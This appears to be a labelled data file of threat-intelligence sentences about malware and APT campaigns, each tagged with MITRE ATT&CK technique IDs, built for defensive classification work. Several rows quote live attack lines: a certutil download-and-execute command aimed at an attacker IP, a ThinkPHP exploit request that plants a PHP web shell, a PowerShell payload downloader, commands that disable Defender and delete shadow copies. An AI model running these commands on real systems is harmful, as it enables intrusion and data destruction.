Palo Alto Networks customers are protected from this OilRig attack campaign and OopsIE by:  AutoFocus customers can track this Trojan with the OopsIE tag All known OopsIE samples are marked with malicious verdicts in WildFire All known OopsIE C2 domains have DNS signatures and are classified as Command and Control    Indicators of Compromise OopsIE Trojan 36e66597a3ff808acf9b3ed9bc93a33a027678b1e262707682a2fd1de7731e23 055b7607848777634b2b17a5c51da7949829ff88084c3cb30bcb3e58aae5d8e9 6b240178eedba4ebc9f1c8b56bac02676ce896e609577f4fb64fa977d67c0761 9e8ec04e534db1e714159cc68891be454c2459f179ab1df27d7f89d2b6793b17  OopsIE C2 defender-update[.]com windowspatch[.]com The post OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE appeared first on Palo Alto Networks Blog,T1071 | T1008
Query attempts to detect VirtualBox environment from the win32_BIOS WMI class.   Query attempts to detect Bochs environment from the win32_BIOS WMI class.   Query attempts to detect QEMU environment from the win32_BIOS WMI class.   Query attempts to detect VirtualBox environment from the win32_BIOS WMI class.   Query attempts to detect VMWare environment from the win32_BIOS WMI class.   Query attempts to detect Xen environment from the win32_BIOS WMI class.   Uses this query to check the system information for the string “VMware”,T1047
"Russia Ukraine Poland Lithuania Belarus Azerbaijan Kyrgyzstan Kazakhstan Iran Israel Turkey Libya Kuwait Taiwan Vietnam India Croatia Germany Belgium Sweden  Victim profiles point to an expansive interest in ICS:  power generation site owners power facilities construction power generation operators large suppliers and manufacturers of heavy power related materials investors  However, we also noticed that the target list includes government, property holding, and technology organizations as well:  high level government other ICS construction federal land holding agencies municipal offices federal emergency services space and earth measurement and assessment labs national standards body banks high-tech transportation academic research  Victim cases We gained insight into significant BE2 victim profiles over the summer of 2014",T1007 | T1083
"Several Mandiant investigations revealed that, after gaining access, APT32 regularly cleared select event log entries and heavily obfuscated their PowerShell-based tools and shellcode loaders with Daniel Bohannon’s Invoke-Obfuscation framework",T1070 | T1027
Socks5 Proxy Zyklon features the ability to establish a reverse Socks5 proxy server on infected host machines,T1016 | T1090
"Stage 1 sample file: 3amadi_hamas.zip MD5: e686ffa90b2bfb567547f1c0dad1ae0b Type: Compressed container Child file/lure name: محضر اجتماع العمادي مع هنية رئيس حماس امس الاحد .exe Child file/lure MD5: 92dd0f16e8ae274d83ba1d0d5b2e342  This sample ZIP file, which is similar to many other stage 1 downloaders in this campaign, contains an executable that is a compiled AutoIt script and which embeds some interesting functions (listed in the table below)",T1036 | T1083 | T1074
Takes screenshots when recording VoiceIP app audio,T1113 | T1123
"""The adversaries can get detailed information about the victim's machine, as you can see in the screenshot below.Beside the system information, it steals passwords from common web browsers, Filezilla, Beyluxe Messenger, CoreFTP and the video game """"Minecraft."""" It also starts a keylogger, steals clipboard content, takes screenshots from the desktop and pictures from the webcam""",T1113 | T1003 | T1082 | T1125
The built-in Windows utility rundll32.exe is then used to load this DLL by the original .lnk file,T1218.011 | T1547.009
"""The DDE instructions attempt to run the following the following command on the victim host, which attempts to download and execute a payload from a remote server:       C:\\Programs\\Microsoft\\MSOffice\\Word.exe\\..\\..\\..\\..\\Windows\\System32\\rundll32.exeC:\\Windows\\System32\\shell32.dll,ShellExec_RunDLLC:\\Windows\\System32\\cmd.exe /k certutil -urlcache -split -fhxxp://220.158.216[.]127/MScertificate.exe & MScertificate.exe""""     During our analysis, we observed this DDE downloading and executing a Zebrocy AutoIt downloader (f27836430…), configured to attempt to download an additional payload from 220.158.216[.]127""",T1036 | T1105
"The exploitation is issued in three steps:  Exploiting CVE-2018-20062 for uploading a PHP shell  Using a GET request, a remote command execution vulnerability in ThinkPHP (CVE-2018-20062) is sent to the targeted server, as shown below: s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<? php $action = $_GET[‘module’];system($action);? ^>>index.php This shell executes commands sent via the “module” parameter in a query",T1059 | T1203
"The fact that the actor used Metasploit shellcode within the Unicorn generated PowerShell script leads us to speculate that the ultimate payload of this attack is Meterpreter, which is a shellcode-based payload",T1059.001
"The file will be inflated in order to retrieve a RTF document, this document will be displayed to the infected user by executing Wordpad.Here is the PDB path from the PoohMilk sample:E:\BIG_POOH\Project\milk\Release\milk.pdbFreenki SampleThe purpose of Freenki is to collect information on the infected system and to download a third executable",T1082 | T1105
The full obfuscated command inside the .lnk file,T1547.009 | T1027
"The keylogger will monitor for active application windows and write them to the log in the following format: <span class=’keylog_process’>[Application Name]</span> The keylogger will log a configurable amount of keystrokes (default 50) before sending the log to the C2 server using the following format: <span class=’keylog_user_keys’>[logged keystrokes]</span> The keylogger can handle logging special keys, such as return and the function keys and will report those within the log in the following format; <span class=’keylog_spec_key’>[special character]</span> Infrastructure The XAgentOSX sample we analyzed was configured to use the following IP address and domain names as its C2 servers: 23.227.196[.]215 apple-iclods[.]org apple-checker[.]org apple-uptoday[.]org apple-search[.]info When we analyzed this sample, the domain names that were used as backup C2 locations were not registered; therefore, these domains did not provide any links to additional infrastructure",T1573 | T1056
"""The macro performs all of these activities with the following command:cmd /c taskkill /f /im winword.exe&taskkill /f /im Excel.exe&taskkill  /f /im MSPUB.exe&taskkill /f /im POWERPNT.EXE&taskkill /f /im  MSASCuiL.exe&taskkill /f /im MpCmdRun.exe&cd """"""""%ProgramFiles%\Windows  Defender"""""""" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exitThe macro also attempts to deactivate security mechanisms within Microsoft Office products by modifying the registry""",T1055.012 | T1036 | T1112
"The mechanism for downloading additional components is based on the Computer Name and UserName of the endpoint provided by the malware process to the control server in the following HTTP GET request: GET http://ink[dot]inkboom.co.kr/host/img/jpg/download.php?filename=<Computer_Name>_<username>&continue=dnsadmin After successfully retrieving the component from the control server, the next-stage payload is copied to the Application Data directory of the current user and executed: C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\hupdate.ex (note “ex,” not “exe”)  The capability to download additional components from the control server",T1033 | T1105
The plugin URL is stored in file in following format:  /plugin/index.php?plugin=<Plugin_Name>  The following plugins are found in the memory of the Zyklon malware:  /plugin/index.php?plugin=cuda /plugin/index.php?plugin=minerd /plugin/index.php?plugin=sgminer /plugin/index.php?plugin=socks /plugin/index.php?plugin=tor /plugin/index.php?plugin=games /plugin/index.php?plugin=software /plugin/index.php?plugin=ftp /plugin/index.php?plugin=email /plugin/index.php?plugin=browser  The downloaded plugins are injected into: Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,T1027.002 | T1068
The Trojan will respond to the C2 to notify it of a successful upload by sending a URL structured as follows:http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(“File Uploaded”)> The download command (3) reads the contents of a specified file and sends the data to the C2 server,T1071 | T1105
The Trojan will respond to the C2 with “PRIVMSG <username> : <message> [<specified path>]”,T1033
"""The webpage contained both CVE-2014-6332 exploit code and a VBScript that invoked PowerShell on the affected users’ system to download the below payload:     function runmumaa()     On Error Resume Next     set shell=createobject(""""Shell.Application"""")     shell.ShellExecute """"powershell.exe"""",""""-NoLogo -NoProfile                 -NonInteractive -WindowStyle Hidden ( New-Object                         “System.Net.WebClient”).DownloadFile(“http://www.playboysplus.com        /install/install.exe”,”install.exe”);Invoke-Item install.exe"""", """""""",         """"open"""", 1     end function The CVE-2014-6332 exploit code seen in this incident is derived from the code published at http://www.exploit-db.com/exploits/35230/, which has also been incorporated in the Metasploit project""",T1055.012 | T1036 | T1068
"The webshell will iterate through the IP list and perform a series of commands for each IP, starting off with using the following command to connect to the remote system: net use [IP address] /user:[domain admin username] [domain admin password] 2>&1 After connecting to the remote system with net use, the webshell will run the following command to obtain a list of user folders: dir /b [IP address]\c$\Users 2>&1 With a list of user folders, the webshell will iterate through the list of users and enumerate all of the files in the following folders: [IP address]\c$\Users\[username]\Desktop [IP address]\c$\Users\[username]\Documents [IP address]\c$\Users\[username]\Downloads The Network Downloader function will gather all the files in these folders and use 7-Zip to compress and archive the files",T1033 | T1016 | T1087 | T1204
"They consist mainly of persistence mechanisms and simple instructions despite their different forms (VBS scripts, PowerShell scripts, known software with open source code that can be backdoored, and in-house built dotnet apps)",T1547.001
"They utilised Windows commands in order to enumerate and conduct reconnaissance activities such as tasklist.exe, ping.exe, netstat.exe, net.exe, systeminfo.exe, ipconfig.exe and bcp.exe",T1055.012 | T1036
"""This version of HALFBAKED connects to the following C2 server: hxxp://198[.]100.119.6:80/cd hxxp://198[.]100.119.6:443/cd hxxp://198[.]100.119.6:8080/cd This version of HALFBAKED listens for the following commands from the C2 server:  info: Sends victim machine information (OS, Processor, BIOS and running processes) using WMI queries processList: Send list of process running screenshot: Takes screen shot of victim machine (using 58d2a83f777688.78384945.ps1) runvbs: Executes a VB script runexe: Executes EXE file runps1: Executes PowerShell script delete: Delete the specified file update: Update the specified file  All communication between the backdoor and attacker C2 are encoded using the following technique, represented in pseudo code: Function send_data(data)                 random_string = custom_function_to_generate_random_string()                 encoded_data = URLEncode(SimpleEncrypt(data))                 post_data(""""POST”, random_string & """"="""" & encoded_data, Hard_coded_c2_url, Create_Random_Url(class_id)) The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information based on our investigations of a variety of topics discussed in this post, including FIN7 and the HALFBAKED backdoor""",T1070.004 | T1041
UAC bypass via DLL hijacking requires:  A Windows executable with the auto-elevate property in its manifest A Windows executable in a secure directory (%systemroot%\system32)  The malicious NTWDBLIB DLL performs the simple task of setting up the malicious ipnet.dll as a service by running one of the two batch files contained in the CAB file (which is also dropped to %systemroot%\system32):  NTWDBLIB executing the installer batch files under the context of cliconfg.exe.  The batch files involved in the attack modify the system service COMSysApp to load the malicious ipnet.dll,T1055 | T1548.002
"We are not sure if this works, but the command name would suggest it is meant to take a screenshot   $command Runs a PowerShell command and sends the output to the C2   slp:\d+ Sets the sleep interval between C2 beacons   $testmode Issues DNS queries of A, AAAA, AC, CNAME, MX, TXT, SRV and SOA types to the C2 servers attempting to determine which DNS query types were successful",T1071 | T1571 | T1008
"When macros are enabled and run, the macro within the Word document searches the sections of the document to get the contents of the header using the following piece of code:       Set rng = ActiveDocument.Sections(intSection).Headers(1).Range     The code above obtains the contents of the header, which the macro will write to a file at C:\programdata\Office365DCOMCheck.ps1",T1140 | T1083 | T1204
A module in CozyCar allows arbitrary commands to be executed by invoking C:\Windows\System32\cmd.exe.,T1059.003
A variant of Elise executes dir C:\progra~1 when initially run.,T1083
ANDROMEDA can download additional payloads from C2.,T1105
ANDROMEDA has the ability to make GET requests to download files from C2.,T1071.001
"ANELLDR can update its encryption key to AES-256-CBC and re-encrypt its payload, overwriting the original payload file with the newly encrypted data.",T1027.013
"AcidRain iterates over device file identifiers on the target, opens the device file, and either overwrites the file or calls various IOCTLS commands to erase it.",T1561.001
Agent Tesla has the capability to kill any running analysis processes and AV software.,T1685
Akira _v2 can target specific files and folders for encryption.,T1083
Akira executes from the Windows command line and can take various arguments for execution.,T1059.003
Akira will delete system volume shadow copies via PowerShell commands.,T1490
"Apostle initially masqueraded as ransomware but actual functionality is a data destruction tool, supported by an internal name linked to an early version, wiper-action. Apostle writes random data to original files after an encrypted copy is created, along with resizing the original file to zero and changing time property metadata before finally deleting the original file.",T1485
AppleJeus has loaded a plist file using the launchctl command.,T1569.001
"As part of load balancing FRP can set `healthCheck.type = ""tcp""` or `healthCheck.type = ""http""` to check service status on specific hosts with TCPing or an HTTP request.",T1046
AsyncRAT can check if the current user of a compromised system is an administrator.,T1033
AsyncRAT can enumerate the NetBIOS name on targeted machines.,T1016
AsyncRAT can hide the execution of scheduled tasks using `ProcessWindowStyle.Hidden`.,T1564.003
AsyncRAT can record screen content on targeted systems.,T1125
AsyncRAT can use the `CheckRemoteDebuggerPresent` function to detect the presence of a debugger.,T1622
Avenger has the ability to identify the host volume ID.,T1680
AvosLocker can restart a compromised machine in safe mode.,T1688
AvosLocker has enumerated shared drives on a compromised network.,T1135
AvosLocker has hidden its console window by using the `ShowWindow` API function.,T1564.003
"AvosLocker has used a variety of Windows API calls, including `NtCurrentPeb` and `GetLogicalDrives`.",T1106
AvosLocker's Linux variant has terminated ESXi virtual machines.,T1529
Azorult can check for installed software on the system under the Registry key Software\Microsoft\Windows\CurrentVersion\Uninstall.,T1012
"BACKSPACE attempts to avoid detection by checking a first stage command and control server to determine if it should connect to the second stage server, which performs ""louder"" interactions with the malware.",T1104
"BADHATCH can be utilized to abuse `sslip.io`, a free IP to domain mapping service, as part of actor-controlled C2 channels.",T1102
BADHATCH can inject itself into an existing explorer.exe process by using `RtlCreateUserThread`.,T1055
BADHATCH can use WMI event subscriptions for persistence.,T1546.003
"BFG Agonizer uses elevated privileges to call NtRaiseHardError to induce a ""blue screen of death"" on infected systems, causing a system crash. Once shut down, the system is no longer bootable.",T1529
BOOKWORM has been delivered using self-extracting RAR archives.,T1027
BOOKWORM has created a hidden window when conducting key logging and clipboard theft through its KBLogger.dll module.,T1564.003
BOOKWORM has decoded its Base64 encoded payload prior to execution. BOOKWORM has also encrypted files with RC4 and has decrypted its payload prior to execution.,T1140
BOOKWORM has obtained the username from an infected host.,T1033
BOOKWORM has used various Windows API calls during execution and defense evasion. BOOKWORM has created a buffer on the heap using `HeapCreate` and `HeapAlloc` which allows for copying of shell code and then execution on the heap is initiated through callback function of legitimate API functions such as `EnumChildWindows` or `EnumSystemLanguageGroupsA`.,T1106
"BPFDoor starts a shell on a high TCP port starting at 42391 up to 43391, then changes the local `iptables` rules to redirect all packets from the attacker to the shell port.",T1686
BPFDoor uses the `utimes()` function to change the executable's timestamp.,T1070.006
BRICKSTORM has created a new background session and has spawned a child process of a parent process when it determines it is not running in its intended state.,T1543
Babuk has the ability to delete shadow volumes using vssadmin.exe delete shadows /all /quiet.,T1490
Bad Rabbit has masqueraded as a Flash Player installer through the executable file install_flash_player.exe.,T1036.005
BeaverTail has been used to download a malicious payload to include Python based malware InvisibleFerret.,T1105
BeaverTail has collected and archived sensitive data in a zip file.,T1560.001
BeaverTail has exfiltrated data collected from local systems.,T1005
"BeaverTail has masqueraded as MiroTalk installation packages: ""MiroTalk.dmg"" for macOS and ""MiroTalk.msi"" for Windows, and has included login GUIs with MiroTalk themes.",T1036
BeaverTail has obfuscated strings of code with Base64 encoding within the JavaScript version of the malware. BeaverTail has also utilized the open-source tool JavaScript-Obfuscator to obfuscate strings and functions.,T1027.013
BeaverTail has searched for .ldb and .log files stored in browser extension directories for collection and exfiltration.,T1083
Bisonal has added itself to the Registry key HKEY_CURRENT_USER\Software\Microsoft\CurrentVersion\Run\ for persistence.,T1547.001
"BitPaymer can import a hard-coded RSA 1024-bit public key, generate a 128-bit RC4 key for each file, and encrypt the file in place, appending .locked to the filename.",T1486
BitPaymer can use icacls /reset and takeown /F to reset a targeted executable's permissions and then take ownership.,T1222.001
BitPaymer has copied itself to the :bin alternate data stream of a newly created file.,T1564.004
Black Basta can make a random number of calls to the `kernel32.beep` function to hinder log analysis.,T1497
Black Basta has been downloaded and executed from malicious Excel files.,T1204.002
Black Basta has set the desktop wallpaper on victims' machines to display a ransom note.,T1491.001
BlackByte 2.0 Ransomware can identify network shares connected to the victim machine.,T1135
BlackByte 2.0 Ransomware deletes itself following device encryption.,T1070.004
BlackByte 2.0 Ransomware exploits a vulnerability in the RTCore64.sys driver (CVE-2019-16098) to enable privilege escalation and defense evasion when run as a service.,T1068
BlackByte Ransomware is distributed as an obfuscated JavaScript launcher file.,T1140
BlackCat can broadcasts NetBIOS Name Service (NBNC) messages to search for servers connected to compromised networks.,T1018
BlackCat can bypass UAC to escalate privileges.,T1548.002
BlackCat can change the desktop wallpaper on compromised hosts.,T1491.001
BlackEnergy has enabled the TESTSIGNING boot configuration option to facilitate loading of a driver component.,T1553.006
"BoxCaon can execute arbitrary commands and utilize the ""ComSpec"" environment variable.",T1059.003
Brute Ratel C4 can download files to compromised hosts.,T1105
Brute Ratel C4 can use HTTPS and HTTPS for C2 communication.,T1071.001
Brute Ratel C4 can use WinRM for pivoting.,T1021.006
Brute Ratel C4 has the ability to use TCP for external C2.,T1095
Brute Ratel C4 has used Microsoft Word icons to hide malicious LNK files.,T1036.008
CASTLETAP can initiate a C2 connection over an SSL socket.,T1573.002
CASTLETAP can transfer files to compromised network devices.,T1105
CASTLETAP has the ability to spawn BusyBox command shell in victim environments.,T1059.004
"CHIMNEYSWEEP can time stomp its executable, previously dating it between 2010 to 2021.",T1070.006
CLAIMLOADER has imitated legitimate software directories through the creation and storage of the EXE and DLL in `C:\ProgramData\` and the use of legitimate looking names of software.,T1036.005
COATHANGER will remove and write malicious shared objects associated with legitimate system functions such as `read(2)`.,T1574
Calisto uses the zip -r command to compress the data collected on the local system.,T1560.001
Caminho can use `System.Net.WebClient.downloadString()` for file download.,T1106
Caminho can use code flattening for payload obfuscation.,T1027.013
Carberp has attempted to disable security software by creating a suspended process for the security software and injecting code to delete antivirus core files when the process is resumed.,T1685
Carbon uses the command net time \\127.0.0.1 to get information the system's time.,T1124
Cardinal RAT contains watchdog functionality that periodically ensures HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load is set to point to its executable.,T1012
Cardinal RAT establishes Persistence by setting the HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load Registry key to point to its executable.,T1547.001
Chaes has added persistence via the Registry key software\microsoft\windows\currentversion\run\microsoft windows html help.,T1547.001
Chaes used the CreateFileW() API function with read permissions to access downloaded payloads.,T1106
"Clambling can store a file named `mpsvc.dll`, which opens a malicious `mpsvc.mui` file, in the same folder as the legitimate Microsoft executable `MsMpEng.exe` to gain execution.",T1574.001
Cobalt Strike can query HKEY_CURRENT_USER\Software\Microsoft\Office\\Excel\Security\AccessVBOM\ to determine if the security setting for restricting default programmatic access is enabled.,T1012
ComRAT has encrypted its virtual file system using AES-256 in XTS mode.,T1027
ComRAT has used cmd.exe to execute commands.,T1059.003
Conficker copies itself into the %systemroot%\system32 directory and registers as a service.,T1543.003
Conti can enumerate remote open SMB network shares using NetShareEnum().,T1135
"Conti can retrieve the ARP cache from the local system by using the GetIpNetTable() API call and check to ensure IP addresses it connects to are for local, non-Internet, systems.",T1016
CorKLOG has achieved persistence through the creation of a scheduled task named TableInputServices by using the command `schtasks /create /tn TabletlnputServices /tr /sc minute /mo 10 /f`.,T1053.005
CorKLOG has stored the captured data in an encrypted file using a 48-character RC4 key.,T1074.001
Covenant can create PowerShell-based launchers for Grunt installation.,T1059.001
Covenant can establish command and control via HTTP.,T1071.001
Crimson can check the Registry for the presence of HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\last_edate to determine how long it has been installed on a host.,T1012
Cuba can modify services by using the OpenService and ChangeServiceConfig functions.,T1543.003
Cuba has used SeDebugPrivilege and AdjustTokenPrivileges to elevate privileges.,T1134
Cuckoo Stealer strings are XOR-encrypted.,T1027.013
Cuckoo Stealer strings are deobfuscated prior to execution.,T1140
Cyclops Blink can modify the Linux iptables firewall to enable C2 communication on network devices via a stored list of port numbers.,T1686.002
DCRAT can use certificate-based authentication for C2 servers.,T1573.002
DEADEYE can enumerate a victim computer's volume serial number and host name.,T1082
DEADEYE can execute the `GetComputerNameA` and `GetComputerNameExA` WinAPI functions.,T1106
"DEADEYE has used `schtasks /change` to modify scheduled tasks including `\Microsoft\Windows\PLA\Server Manager Performance Monitor`, `\Microsoft\Windows\Ras\ManagerMobility, \Microsoft\Windows\WDI\SrvSetupResults`, and `\Microsoft\Windows\WDI\USOShared`.",T1036.004
DOWNIISSA can decode strings prior to execution.,T1140
DRYHOOK has encrypted stolen credentials strings within a file using both Base64 and RC4 with a hard-coded key.,T1027.013
DUSTPAN can inject its decrypted payload into another process.,T1055.002
DUSTTRAP can enumerate domain accounts.,T1087.002
DUSTTRAP can enumerate running application windows.,T1010
DUSTTRAP can perform keylogging operations.,T1056.001
DUSTTRAP deobfuscates embedded payloads.,T1140
DUSTTRAP restores the `.text` section of compromised DLLs after malicious code is loaded into memory and before the file is closed.,T1070
DarkComet can disable Security Center functions like anti-virus.,T1685
DarkComet can disable Security Center functions like the Windows Firewall.,T1686.003
DarkGate checks the BeingDebugged flag in the PEB structure during execution to identify if the malware is being debugged.,T1622
DarkGate command and control includes hard-coded domains in the malware masquerading as legitimate services such as Akamai CDN or Amazon Web Services.,T1665
"DarkGate creates a log file for capturing keylogging, clipboard, and related data using the victim host's current date for the filename. DarkGate queries victim system epoch time during execution. DarkGate captures system time information as part of automated profiling on initial installation.",T1124
DarkGate has stolen `sitemanager.xml` and `recentservers.xml` from `%APPDATA%\FileZilla\` if present.,T1005
"DarkGate includes one infection vector that leverages a malicious ""KeyScramblerE.DLL"" library that will load during the execution of the legitimate KeyScrambler application.",T1574.001
DarkGate initial infection payloads can masquerade as pirated media content requiring user interaction for code execution. DarkGate is distributed through phishing links to VBS or MSI objects requiring user interaction for execution.,T1204.002
DarkGate queries system locale information during execution. Later versions of DarkGate query GetSystemDefaultLCID for locale information to determine if the malware is executing in Russian-speaking countries.,T1614
DarkGate queries system resources on an infected machine to identify if it is executing in a sandbox or virtualized environment.,T1497.001
DarkTortilla can download a clipboard information stealer module.,T1115
DarkTortilla can retrieve information about a compromised system's running services.,T1007
"DarkTortilla can search a compromised system's running processes and services to detect Hyper-V, QEMU, Virtual PC, Virtual Box, and VMware, as well as Sandboxie.",T1497.001
DarkTortilla has established persistence via the `Software\Microsoft\Windows NT\CurrentVersion\Run` registry key and by creating a .lnk shortcut file in the Windows startup folder.,T1547.001
DarkTortilla has used the `WshShortcut` COM object to create a .lnk shortcut file in the Windows startup folder.,T1559.001
DarkTortilla's payload has been renamed `PowerShellInfo.exe`.,T1036
Denis uses ipconfig to gather the IP address from the system.,T1016
Dridex can use `regsvr32.exe` to initiate malicious code.,T1218.010
"Duqu has used msiexec to execute malicious Windows Installer packages. Additionally, a PROPERTY=VALUE pair containing a 56-bit encryption key has been used to decrypt the main payload from the installer packages.",T1218.007
"During the T9000 installation process, it drops a copy of the legitimate Microsoft binary igfxtray.exe. The executable contains a side-loading weakness which is used to load a portion of the malware.",T1574.001
DynoWiper has used the Microsoft Windows native `FindFirstFile()` and `FindNextFile()` to recursively enumerate directories and files on the system.,T1083
"ECCENTRICBANDWAGON has stored keystrokes and screenshots within the %temp%\GoogleChrome, %temp%\Downloads, and %temp%\TrendMicroUpdate directories.",T1074.001
Ebury can intercept private keys using a trojanized ssh-add function.,T1556
Ebury is executed through hooking the keyutils.so file used by legitimate versions of `OpenSSH` and `libcurl`.,T1129
Ebury modifies the `keyutils` library to add malicious behavior to the OpenSSH client and the curl library.,T1554
Egregor has disabled Windows Defender to evade protections.,T1685
Elise creates a file in AppData\Local\Microsoft\Windows\Explorer and stores all harvested data in that file.,T1074.001
Elise executes ipconfig /all after initial communication is made to the remote server.,T1016
Elise executes systeminfo after initial communication is made to the remote server.,T1082
Embargo has avoided encrypting specific files and directories by leveraging a regular expression within the ransomware binary.,T1679
"Embargo has searched for folders, subfolders and other networked or mounted drives for follow on encryption actions. Embargo has also iterated device volumes using `FindFirstVolumeW()` and `FindNextVolumeW()` functions and then calls the `GetVolumePathNamesForVolumeNameW()` function to retrieve a list of drive letters and mounted folder paths for each specified volume.",T1083
Embargo has utilized MDeployer to decrypt two payloads that contain MS4Killer toolkit b.cache and the Embargo ransomware executable a.cache with a hardcoded RC4 key `wlQYLoPCil3niI7x8CvR9EtNtL/aeaHrZ23LP3fAsJogVTIzdnZ5Pi09ZVeHFkiB`.,T1140
"Embargo has utilized a hardcoded mutex name of ""LoadUpOnGunsBringYourFriends"" using the `CreateMutexW()` function. Embargo has also utilized a hardcoded mutex name of ""IntoTheFloodAgainSameOldTrip.""",T1480.002
Emotet has been observed dropping and executing password grabber modules including Mimikatz.,T1003.001
Emotet has encrypted data before sending to the C2 server.,T1573
Emotet has exfiltrated data over its C2 channel.,T1041
"Emotet has used Google's Protobufs to serialize data sent to and from the C2 server. Additionally, Emotet has used Base64 to encode data before sending to the C2 server.",T1132.001
Emotet inflates malicious files and malware as an evasion technique.,T1027.001
Empire can use PowerSploit's Invoke-TokenManipulation to manipulate access tokens.,T1134
Empire uses the command `/usr/bin/security dump-keychain -d` to read the keychain credential.,T1555.001
EvilBunny has used Lua scripts to execute payloads.,T1059.011
Exbyte decodes and decrypts data stored in the configuration file with a key provided on the command line during execution.,T1140
"FELIXROOT collects the victim's computer name, processor architecture, OS version, and system type.",T1082
"FIN7 has obtained and used tools such as Impacket, Mimikatz, and PsExec.",T1588.002
"FLASHFLOOD stages data it copies from the local system or removable drives in the ""%WINDIR%\$NtUninstallKB885884$\"" directory.",T1074.001
Ferocious can run GET.WORKSPACE in Microsoft Excel to check if a mouse is present.,T1120
FinFisher uses DLL side-loading to load malicious programs. A FinFisher variant also uses DLL search order hijacking.,T1574.001
Flagpro has been used to run the whoami command on the system.,T1033
"Fooder has frequently masqueraded as the Snake game, using strings such as ""Welcome to snake Game"" and mutexes such as ""SNAKE_G.""",T1036.005
Gelsemium can modify the Registry to store its components.,T1112
GlassWorm has gathered data pertaining to VPN configurations. GlassWorm has also targeted locally stored data on macOS located in `/Library/Application Support/Fortinet/FortiClient/conf/vpn.plist`.,T1602.002
GlassWorm has leveraged Hidden Virtual Network Computing (HVNC) to remain undetected and conduct execution of collection and communication actions.,T1564.003
GlassWorm has the ability to check the system's time zone on the victim device.,T1124
Gold Dragon collects endpoint information using the systeminfo command.,T1082
Gomir can start a reverse proxy to initiate connections to arbitrary endpoints in victim networks.,T1090.001
"Gomir checks the effective group ID of its process when initially executed to determine if it is in group 0, denoting superuser privileges in Linux environments.",T1069.001
Gomir deletes its original executable and terminates its original process after creating a systemd service.,T1070.004
Gomir periodically communicates to its command and control infrastructure through HTTP POST requests.,T1071.001
Gomir probes arbitrary network endpoints for TCP connectivity.,T1018
"Goopy has the ability to side-load malicious DLLs with legitimate applications from Kaspersky, Microsoft, and Google.",T1574.001
Gootloader can determine if a targeted system is part of an Active Directory domain by expanding the %USERDNSDOMAIN% environment variable.,T1069.002
Gootloader can execute a Javascript file for initial infection.,T1059.007
Gootloader can insert malicious scripts to compromise vulnerable content management systems (CMS).,T1584.006
Gootloader can inspect the User-Agent string in GET request header information to determine the operating system of targeted systems.,T1082
"Grandoreiro can hook APIs, kill processes, break file system paths, and change ACLs to prevent security tools from running.",T1685
Grandoreiro can store its configuration in the Registry at `HKCU\Software\` under frequently changing names including %USERNAME% and ToolTech-RM.,T1027.011
"Green Lambert can use shell scripts for execution, such as /bin/sh -c.",T1059.004
H1N1 kills and disables services for Windows Firewall.,T1686.003
"H1N1 kills and disables services for Windows Security Center, and Windows Defender.",T1685
HARDRAIN uses cmd.exe to execute netshcommands.,T1059.003
HIUPAN has checked periodically for removable drives and installs itself when a drive is detected.,T1120
HTTPTroy can terminate its running process and then remove traces of itself through the `die ` command.,T1070.004
"HTTPTroy has obfuscated HTTP POST request communications utilizing XOR with a designated key of 0x56, followed by Base64 encoding.",T1132.002
HTTPTroy has the ability to download files from C2 using the `down ` command.,T1105
HTTPTroy has used HTTP POST requests to communicate with C2.,T1071.001
Hancitor has deleted files using the VBA kill function.,T1070.004
Hancitor has delivered compressed payloads in ZIP files to victims.,T1027.015
Hannotog can download additional files to the victim machine.,T1105
"Hannotog uses non-standard listening ports, such as UDP 5900, for command and control purposes.",T1571
Havoc has the ability to copy files from one location to another.,T1570
Havoc has the ability to route HTTP/S communications through designated proxies.,T1090
HermeticWiper can overwrite the `C:\Windows\System32\winevt\Logs` file on a targeted system.,T1685.005
HermeticWiper has the ability to set the `HKLM:\SYSTEM\\CurrentControlSet\\Control\\CrashControl\CrashDumpEnabled` Registry key to `0` in order to disable crash dumps.,T1685
HexEval Loader has used HTTP and HTTPS POST requests to communicate with C2.,T1071.001
"HexEval Loader has utilized a cross-platform keylogger that has the capability to capture keystrokes on Windows, macOS and Linux systems.",T1056.001
HiddenFace can download files from the C2 to victim systems.,T1105
HiddenFace can hide its IP lookup by using DNS over HTTPS (DoH) for C2.,T1572
HiddenFace can store its configuration file in the Registry.,T1112
HiddenFace can use a randomly selected symmetric encryption algorithm for C2.,T1573.001
HiddenFace has exploited vulnerabilities in FortiOS/FortiProxy devices for initial access.,T1190
HiddenWasp installs reboot persistence by adding itself to /etc/rc.local.,T1037.004
Hildegard has modified DNS resolvers to evade DNS monitoring tools.,T1685
HotCroissant can retrieve a list of applications from the SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths registry key.,T1518
HyperBro has the ability to run an application (CreateProcessW) or script/file (ShellExecuteW) via API.,T1106
IMAPLoader imports native Windows APIs such as `GetConsoleWindow` and `ShowWindow`.,T1106
INC Ransomware can push its encryption executable to multiple endpoints within compromised infrastructure.,T1570
IPsec Helper can download additional payloads from command and control nodes and execute them.,T1570
"IPsec Helper can identify the process it is currently running under and its number, and pass this back to a command and control node.",T1057
IPsec Helper can run arbitrary commands passed to it through cmd.exe.,T1059.003
"IPsec Helper will sleep for a random number of seconds, iterating 200 times over sleeps between one to three seconds, before continuing execution flow.",T1497.003
ISMInjector uses the certutil command to decode a payload file.,T1140
IcedID has been executed through Word and Excel files with malicious embedded macros and through ISO and LNK files that execute the malicious DLL.,T1204.002
IcedID has embedded malicious functionality in a legitimate DLL file.,T1027.009
IcedID has exfiltrated collected data via HTTPS.,T1048.002
IcedID has used ZwQueueApcThread to inject itself into remote processes.,T1055.004
IcedID used the following command to check the country/language of the active console: ` cmd.exe /c chcp >&2`.,T1614.001
"If running with root permissions, OSX_OCEANLOTUS.D can create a persistence file in the folder /Library/LaunchDaemons.",T1543.004
Imminent Monitor has a feature to disable Windows Task Manager.,T1685
InnaputRAT gathers system information.,T1082
InnaputRAT gathers volume drive information.,T1680
"InvisibleFerret has been observed utilizing HTTP communications to the C2 server over ports 1224, 2245 and 8637.",T1571
